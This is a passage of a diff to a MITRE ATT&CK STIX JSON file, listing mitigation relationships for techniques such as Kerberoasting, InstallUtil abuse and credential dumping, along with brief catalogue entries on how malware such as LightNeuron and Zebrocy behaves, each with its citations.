"https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--efc4d5ac-af07-4484-abf1-77144aa7152e", + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "modified": "2020-02-11T20:35:32.281Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:55:45.238Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f00b00c8-0c1c-4546-9751-25ea4f538255", + "description": "InstallUtil may not be necessary within a given environment.", + "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", + "modified": "2020-01-31T18:59:38.488Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:59:33.483Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f1df1a1e-2b64-4308-8f0c-f22221946677", + "description": "Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", + "modified": "2020-01-31T18:59:38.508Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:59:33.502Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f5ea26e5-4f67-4775-9fc7-a510617a9197", + "description": "Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "modified": "2020-02-12T16:34:07.079Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T14:06:03.294Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--60151204-5c0c-4d18-8582-4d0fad22ed08", + "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. 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(2018, May 30). Event Tracing. Retrieved September 6, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6114d890-764b-48fe-9901-f2a60d32cfa0", + "description": "Prevent users from changing the HISTCONTROL environment variable. (Citation: Securing bash history)", + "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", + "modified": "2020-02-21T20:57:38.286Z", + "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T14:23:11.519Z", + "external_references": [ + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f6a55d63-5d15-40d2-9d31-793cbfadb444", + "description": "Make sure that the HISTCONTROL environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", + "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", + "modified": "2020-02-21T20:57:38.302Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T14:23:11.523Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5078bd6b-0d88-4e7e-a64d-e74f9950e1d9", + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. 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(Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.", + "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "modified": "2021-08-17T00:28:01.226Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T14:33:33.700Z", + "external_references": [ + { + "source_name": "Wikipedia 802.1x", + "description": "Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.", + "url": "https://en.wikipedia.org/wiki/IEEE_802.1X" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--02a7cdce-3386-4a5f-a9c4-a8ab2d3a9091", + "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as [BloodHound](https://attack.mitre.org/software/S0521) (version 1.5.1 and later)(Citation: GitHub Bloodhound).", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "modified": "2021-01-11T19:48:37.966Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T14:35:53.245Z", + "external_references": [ + { + "url": "https://github.com/BloodHoundAD/BloodHound", + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", + "source_name": "GitHub Bloodhound" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2afbe22a-aa7e-449c-85de-21e255bc5aa6", + "description": "System settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "target_ref": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "modified": "2020-02-05T16:23:01.840Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T14:44:15.587Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b2dac45d-0bd8-488a-a00d-d54db8d3507c", + "description": "Train users to identify social engineering techniques and spearphishing emails.", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "modified": "2020-04-29T14:37:59.738Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T15:34:24.671Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a24399b5-218e-41b5-8904-9e8e0599ae25", + "description": "Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.(Citation: Anomali Template Injection MAR 2018)", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "modified": "2020-04-29T14:37:59.777Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T15:34:24.696Z", + "external_references": [ + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cf485f42-cc2f-4ef7-9226-533192a9413c", + "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "modified": "2020-04-29T14:37:59.775Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T15:34:24.698Z", + "external_references": [ + { + "source_name": "Microsoft Disable Macros", + "description": "Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.", + "url": "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2357634d-3e93-41f3-90d5-91fe4d0deb7e", + "description": "Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.(Citation: Anomali Template Injection MAR 2018)", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "modified": "2020-04-29T14:37:59.773Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T15:34:24.702Z", + "external_references": [ + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6c42fa31-80df-4d67-92d2-4273c22a4d5b", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) collects Exchange emails matching rules specified in its configuration.(Citation: ESET LightNeuron May 2019)", + "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "modified": "2020-03-17T16:29:51.887Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-28T13:52:51.413Z", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--92a5d02f-8f2e-4744-b030-54f2222bde88", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can collect files from a local system.(Citation: ESET LightNeuron May 2019)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2019-07-16T17:12:00.543Z", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-28T13:52:51.431Z", + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). 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Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--01a603b5-a9b1-4567-864d-6dfaa0430057", + "description": "Ensure all application component binaries are signed by the correct application developers.", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "modified": "2021-07-26T21:06:20.028Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-15T16:18:21.093Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f470dae2-81c9-48c4-aeab-27cebe318a09", + "description": "Do not allow administrator accounts that have permissions to add component software on these services to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "modified": "2021-07-26T21:06:20.034Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-15T16:29:18.373Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e5ba408f-92d3-404a-b3e1-adcd5d21bc5f", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) acquires valid SSH accounts through brute force. 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Retrieved March 4, 2019.", + "source_name": "Anomali Linux Rabbit 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3c5f6c2a-7940-4cdc-8b25-811e33d9b96a", + "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require. 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(2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "source_name": "TechNet Removable Media Control" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d514d73a-27de-409d-bff9-d7e48f2859a6", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has used URL/Percent Encoding on data exfiltrated via HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2020-03-20T18:31:32.983Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-16T21:00:11.765Z", + "external_references": [ + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--546fc347-7844-4721-8ec4-dbf45e8ca1e7", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2020-12-22T18:45:21.898Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-16T21:00:11.769Z", + "external_references": [ + { + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020.", + "source_name": "CISA Zebrocy Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a1f159ff-c736-44db-ab58-1fffcb7c8404", + "description": "Identify and block potentially malicious and unknown .cpl files by using application whitelisting (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", + "modified": "2021-08-23T20:25:22.024Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-16T21:10:28.523Z", + "external_references": [ + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6808a607-0c81-433b-a027-2f1a8fe163c9", + "description": "Protect domain controllers by ensuring proper security configuration for critical servers.", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "modified": "2020-03-23T17:04:18.810Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-16T21:24:16.586Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7e8ca453-aee5-48c1-a891-f44a742a95ed", + "description": "Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2021-07-20T23:03:00.795Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T15:45:37.493Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc31837d-530f-45e5-b9f8-bf6268c3ef03", + "description": "\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL) Consider adding users to the \"Protected Users\" Active Directory security group. This can help limit the caching of users' plaintext credentials.(Citation: Microsoft Protected Users Security Group)", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2021-07-20T23:03:00.809Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T15:45:37.521Z", + "external_references": [ + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Microsoft Replication ACL", + "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.", + "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group", + "description": "Microsoft. (2016, October 12). Protected Users Security Group. Retrieved May 29, 2020.", + "source_name": "Microsoft Protected Users Security Group" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6f27258-cf6a-4d75-a3f0-5de085d528d2", + "description": "\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.(Citation: Microsoft LSA)", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2021-07-20T23:03:00.799Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T15:45:37.529Z", + "external_references": [ + { + "source_name": "Microsoft LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fe849763-78b9-4b8a-9219-2781ac7b00e8", + "description": "\nConsider disabling or restricting NTLM.(Citation: Microsoft Disable NTLM Nov 2012) Consider disabling WDigest authentication.(Citation: Microsoft WDigest Mit)", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2021-07-20T23:03:00.785Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T15:45:37.582Z", + "external_references": [ + { + "source_name": "Microsoft Disable NTLM Nov 2012", + "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. 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Retrieved July 26, 2018.", + "url": "https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--53a95297-1cce-401c-99a3-34079e878fac", + "description": "Web Application Firewalls may be used to limit exposure of applications to prevent exploit traffic from reaching the application.", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "modified": "2021-07-20T21:51:46.205Z", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T20:50:44.740Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4c308ec1-f0c6-4444-af7d-ff045204c326", + "description": "Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.(Citation: OWASP Top 10)", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "modified": "2021-07-20T21:51:46.269Z", + "source_ref": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T21:07:56.528Z", + "external_references": [ + { + "source_name": "OWASP Top 10", + "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.", + "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d567082e-e9ee-4622-acbd-a592bc3be4a3", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports for that particular network segment.", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "modified": "2020-03-14T18:19:53.337Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T21:08:30.269Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9eaaffb7-4dc4-4aac-a1d5-675b71e587df", + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems.", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "modified": "2021-08-19T16:57:27.396Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T21:15:42.971Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8df2f4b5-3f60-4b8f-b4aa-dd76eb347ab0", + "description": "Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "modified": "2021-08-19T16:57:27.410Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T21:15:42.984Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9aaf5e70-4080-4f73-8d6d-3b19f754e9b9", + "description": "Disable or block remotely available services that may be unnecessary.", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "modified": "2021-08-19T16:57:27.424Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T21:15:42.990Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e23d57b4-5bc4-4d06-9084-9c99464c4af8", + "description": "Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication 